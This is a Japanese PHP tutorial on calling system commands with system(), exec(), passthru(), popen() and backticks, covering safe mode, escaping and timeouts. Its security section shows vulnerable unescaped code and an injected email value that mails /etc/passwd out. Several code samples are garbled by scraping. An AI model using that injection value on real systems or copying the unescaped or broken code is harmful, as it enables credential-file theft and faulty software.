ホームページ  >  記事  >  バックエンド開発  >  PHP はシステム外部コマンドを実行します system() exec() passthru()_PHP チュートリアル

PHP はシステム外部コマンドを実行します system() exec() passthru()_PHP チュートリアル

WBOY
WBOYオリジナル
2016-07-21 15:45:18972ブラウズ

違い:
system() はシェル結果の最後の行を出力して返します。
exec() は結果を出力せず、シェル結果の最後の行を返します。すべての結果は返された配列に保存できます。
passthru()はコマンドを呼び出すだけで、コマンドの実行結果をそのまま標準出力装置に直接出力します。
同じ点: コマンド実行のステータス コードを取得できます
デモ:

コードをコピーします コードは次のとおりです:

//system('dir');
// exec (' dir');
/ / passthru ('dir');
// echo `dir`;

PHP は、単純または複雑な動的 Web ページの作成などのタスクを実行できます。ただし、常にそうとは限りません。場合によっては、特定の機能を実装するために、半分の労力で 2 倍の結果を得ることができるように、オペレーティング システムの外部プログラム (またはコマンド) を使用する必要があります。
では、PHP スクリプトで外部コマンドを呼び出すことは可能でしょうか?もしそうなら、どうすればいいですか?どのような懸念がありますか?この記事を読めば、きっとこれらの疑問に答えられると思います。
それは可能ですか?
答えは「はい」です。 PHP は、他のプログラミング言語と同様に、プログラム内で外部コマンドを呼び出すことができます。呼び出しは非常に簡単です。1 つまたはいくつかの関数を使用するだけです。
前提条件
PHP は基本的に WEB プログラム開発に使用されるため、セキュリティは人々が考慮する重要な側面となっています。そこで、PHP 設計者は PHP への扉、つまりセーフ モードを追加しました。セーフ モードで実行する場合、PHP スクリプトには次の 4 つの制限が適用されます:
外部コマンドの実行
ファイルを開くときのいくつかの制限
MySQL データベースへの接続
HTTP ベースの認証
セーフ モードでは、特定のディレクトリのみ 外部プログラムのみin は実行できますが、他のプログラムへの呼び出しは拒否されます。このディレクトリは、php.ini ファイルのsafe_mode_exec_dir ディレクティブを使用するか、PHP のコンパイル時に --with-exec-dir オプションを追加することで指定できます。デフォルトは /usr/local/php/bin です。
結果 (PHP スクリプトにエラーがないことを意味します) を出力できるはずの外部コマンドを呼び出したにもかかわらず、空白が表示される場合は、ネットワーク管理者が PHP をセーフ モードで実行している可能性があります。
どうやってやるの?
PHP で外部コマンドを呼び出すには、次の 3 つの方法を使用できます:
1) PHP が提供する特別な関数を使用します
PHP は、外部コマンドを実行するために合計 3 つの特別な関数を提供します: system()、exec()、passthru () 。
system()
プロトタイプ: string system (string command [, int return_var])
system() 関数は、指定されたコマンドを実行し、結果を出力して返します。 2 番目のパラメーターはオプションであり、コマンドの実行後にステータス コードを取得するために使用されます。
例:
コードをコピーします コードは次のとおりです:

system("/usr/local/bin/webalizer/webalizer");

exec( )
プロトタイプ :string exec (string command [, string array [, int return_var]])
exec () 関数は、与えられたコマンドを実行しますが、結果を出力せず、結果を返します。結果の最後の行。コマンド結果の最後の行のみを返しますが、2 番目のパラメーター配列を使用すると、配列の最後に結果を 1 行ずつ追加することで完全な結果を取得できます。したがって、配列が空でない場合は、呼び出す前に unset() を使用して配列をクリアするのが最善です。第3パラメータは第2パラメータを指定した場合のみ、コマンド実行時のステータスコードを取得できます。
例:

コードをコピーします コードは次のとおりです:
exec("/bin/ls -l"); $res);
exec("/bin/ls -l", $res, $rc);


passthru()
プロトタイプ: void passthru (string command [, int return_var]) ) はコマンドを呼び出すだけで結果は返さず、コマンドの実行結果をそのまま標準出力装置に出力します。したがって、 passthru() 関数は、pbmplus (元の画像のバイナリ ストリームを出力する、Unix で画像を処理するツール) のようなプログラムを呼び出すためによく使用されます。コマンド実行時のステータスコードも取得できます。
例:



コードをコピー
コードは次のとおりです: header("Content-type: image/gif")
passthru("./ppmtogif Hunte.ppm"); ;


2) Popen() 関数を使用してプロセスを開きます。
上記のメソッドは単にコマンドを実行することしかできませんが、コマンドと対話することはできません。ただし、コマンドに何かを入力する必要がある場合があります。たとえば、Linux システム ユーザーを追加する場合、su を呼び出して現在のユーザーを root に変更する必要があり、su コマンドはコマンド ラインに root パスワードを入力する必要があります。この場合、明らかに上記の方法を使用することはできません。
popen() 関数は、プロセス パイプを開いて指定されたコマンドを実行し、ファイル ハンドルを返します。ファイルハンドルが返されるので、読み書きが可能です。 PHP3 では、この種のハンドルは書き込みまたは読み取りの 1 つの操作モードでのみ使用できますが、PHP4 以降は読み取りと書き込みを同時に行うことができます。ハンドルが 1 つのモード (読み取りまたは書き込み) で開かれていない限り、ハンドルを閉じるには pclose() 関数を呼び出す必要があります。
例 1:
コードをコピーします コードは次のとおりです:

$fp=popen("/bin/ls -l", "r"?>);

例 2:

コードをコピーします コードは次のとおりです:
/* PHP でシステム ユーザーを追加する方法
以下は、という名前のユーザーを追加するルーチンです。ジェームス、
root パスワードはとても良いです。参考のみ
*/
$sucommand = "su --login root --command";
$useradd = "useradd ";
$user = "james"; ("%s "%s %s"",$sucommand,$useradd,$user);
$fp = @popen($user_add,"w"); pclose($fp);
?>


3) バッククォート (`、つまりキーボードの ESC キーの下にあるもの、~ と同じ) を使用します
このメソッドは PHP には含まれていません以前のドキュメントには秘密のスキルとして存在します。方法は非常に簡単です。実行するコマンドを 2 つのバックティックで囲み、この式の値がコマンドの実行結果になります。例:


コードをコピーします

コードは次のとおりです:
$res='/bin/ls -l'; echo '
'.$res.';
?>


このスクリプトの出力は次のようになります:
hunte.gif
hunte.ppm
jpg.htm
jpg.jpg
passthru.php
考慮事項?
考慮すべき 2 つの問題: セキュリティとタイムアウト。
安全を第一に考えてください。たとえば、小規模なオンライン ストアを運営しており、販売可能な製品のリストがファイルに保存されているとします。ユーザーが電子メール アドレスを入力して製品のリストを送信できるフォームを含む HTML ファイルを作成します。 PHP の mail() 関数を使用したことがない (または聞いたことがない) と仮定すると、Linux/Unix システムのメール プログラムを呼び出してこのファイルを送信します。プログラムは次のとおりです:



コードをコピーします

コードは次のとおりです:
system("mail $to < products.txt") echo "当社の製品カタログには次のようなものがあります。あなたのメールボックスに送信されました: $to"; ?>

このコードを使用しても一般ユーザーに危険はありませんが、実際には非常に大きなセキュリティ上の脆弱性があります。悪意のあるユーザーが次のような EMAIL アドレスを入力した場合:
'--bla ; mail somebody@domain.com < /etc/passwd ;' このコマンドは最終的に次のようになります。 com < /etc/passwd ; < products.txt'
このようなコマンドを見たら、ネットワーク管理者は冷や汗をかくと思います。
幸いなことに、PHP には EscapeShellCmd() と EscapeShellArg() という 2 つの関数が用意されています。 EscapeShellCmd 関数は、シェルを使用せずに別のコマンドを実行するために使用される文字列内のすべての文字をエスケープします。これらの文字は、セミコロン ()、リダイレクト (>)、ファイルからの読み取り (<) など、シェル内で特別な意味を持ちます。 EscapeShellArg 関数は、コマンド パラメーターを処理するために使用されます。指定された文字列の前後に一重引用符を追加し、文字列内の一重引用符をエスケープして、文字列をコマンド引数として安全に使用できるようにします。
タイムアウトの問題をもう一度見てみましょう。コマンドの実行に時間がかかる場合は、システムのバックグラウンドでコマンドを実行する必要があります。ただし、デフォルトでは、system() などの関数は、コマンドの実行が完了するまで待機してから戻ります (実際には、コマンドの出力を待つ必要があります)。そのため、PHP スクリプトがタイムアウトすることは間違いありません。解決策は、次のようにコマンド出力を別のファイルまたはストリームにリダイレクトすることです:



コードをコピーします

コードは次のとおりです:


system("/usr/local/bin/ order_proc > /tmp/null &"); ?>

www.bkjia.comtru​​ehttp://www.bkjia.com/PHPjc/320391.html技術記事違い: system() はシェル結果の最後の行を出力して返します。 exec() は結果を出力せず、シェル結果の最後の行を返します。すべての結果は返された配列に保存できます。パス...
声明:
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。